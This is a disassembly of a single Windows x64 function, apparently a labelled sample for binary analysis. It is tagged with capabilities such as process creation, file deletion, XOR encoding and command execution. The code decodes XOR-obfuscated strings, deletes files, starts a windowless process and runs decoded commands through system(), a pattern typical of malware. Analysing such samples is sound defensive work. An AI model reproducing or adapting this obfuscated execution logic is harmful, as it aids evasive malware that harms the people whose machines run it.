Function at 0x140041b20
Capabilities:
Create process on windows
Delete file
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x908]
sub rsp, 0x9e0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140110040]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
xor r13d, r13d
movups xmm0, xmmword [str.bZS_BDuVOHY]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140103a50]
movups xmmword [rbp - 0x80], xmm1
movzx eax, word [0x140103a60]
mov word [rbp - 0x70], ax
mov ecx, r13d
mov r12d, dword [0x140110090]
cmp r12d, 2
jl 0x140041cb2
movdqa xmm5, xmmword [0x140103f80]
movdqa xmm4, xmmword [0x140104340]
movdqa xmm6, xmmword [0x140103fb0]
movdqa xmm7, xmmword [0x140103fd0]
lea rdx, [rsp + 0x70]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x10
jl 0x140041bc0
cmp ecx, 0x11
jge 0x140041cf2
movsxd rax, ecx
lea r8, [rsp + 0x70]
lea r8, [r8 + rax*2]
nop
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x39
movzx eax, cx
sub ax, dx
add ax, 0x31
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x11
jl 0x140041cc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], r13
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x140041d10
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x18]
call fcn.14008e5c0
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x28]
call fcn.1400413d0
nop
movups xmm0, xmmword [str.SCDeSO_9]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x140102ae0]
mov ecx, 0x4d
mov word [rsp + 0x50], cx
xor word [rsp + 0x52], 0x32
xor word [rsp + 0x54], 0x33
xor word [rsp + 0x56], 0x34
xor word [rsp + 0x58], 0x35
xor word [rsp + 0x5a], 0x36
xor word [rsp + 0x5c], 0x37
xor word [rsp + 0x5e], 0x38
xor ax, 0x39
mov word [rsp + 0x60], ax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140041da2
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.14008e5c0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x48]
call fcn.1400413d0
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x18]
call fcn.14008b9c0
nop
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x70]
call fcn.14008b9c0
mov rcx, rax
call fcn.140041990
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x70]
call fcn.14008b9c0
mov rcx, rax
call fcn.140041670
mov r15, qword [rbp - 0x38]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r15
cmp rax, 1
jb 0x14004256e
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova r14, qword [rbp - 0x48]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rsi, [r15 + 1]
mov ebx, 7
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x140041f0d
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x140041ed3
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140041f00
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140042568
mov rcx, rax
call fcn.140090610
test rax, rax
je 0x140041fb7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140041f08
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140042568
add rcx, rcx
jne 0x140041e9e
mov rdi, r13
jmp 0x140041f08
call fcn.140090610
mov rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], 0x20
mov word [rdi + rsi*2], r13w
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
lea rcx, [rsp + 0x50]
call fcn.14008b940
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140041fc3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041fbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041fbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140090660
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp + 0x64], xmm0
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
mov dword [rbp + 0xa4], eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov dword [rbp + 0x40], 0x68
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova r8, qword [rbp - 8]
mov edx, 0x400
mov r9, 0xffffffffffffffff
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
mov word [rbp + 0x8ae], r13w
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140042074
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140042083
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x140042092
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x1400420a1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x140102e10]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140102e20]
movups xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.__1_.Y]
movsd qword [rbp - 0x70], xmm0
movzx eax, byte [0x140102e38]
mov byte [rbp - 0x68], al
mov r8d, r13d
movdqa xmm6, xmmword [0x140103fc0]
cmp r12d, 2
jl 0x14004220f
movdqa xmm4, xmmword [0x140103f80]
movdqa xmm3, xmmword [0x140104340]
movdqa xmm5, xmmword [0x140103fb0]
movdqa xmm0, xmmword [0x140103ff0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140042120
cmp r8d, 0x29
jge 0x140042253
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140042220
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140103a68]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [str.3____]
movups xmmword [rbp - 0x80], xmm1
movzx eax, byte [0x140103a88]
mov byte [rbp - 0x70], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400423af
movdqa xmm4, xmmword [0x140103f80]
movdqa xmm3, xmmword [0x140104340]
movdqa xmm5, xmmword [0x140103fb0]
movdqa xmm0, xmmword [0x140103ff0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400422c0
cmp r8d, 0x21
jge 0x1400423f3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400423c0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140042441
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004243c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004243c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140090660
movdqa xmm0, xmmword [0x140103f10]
movdqu xmmword [rbp + 8], xmm0
mov word [rbp - 8], r13w
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x140042497
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042491
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042491
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140090660
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x1400424da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400424d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400424d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140090660
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r13w
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x14004252e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042529
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042529
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140090660
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.1400905f0
lea r11, [rsp + 0x9e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140040050
nop
call fcn.1400400f0
int3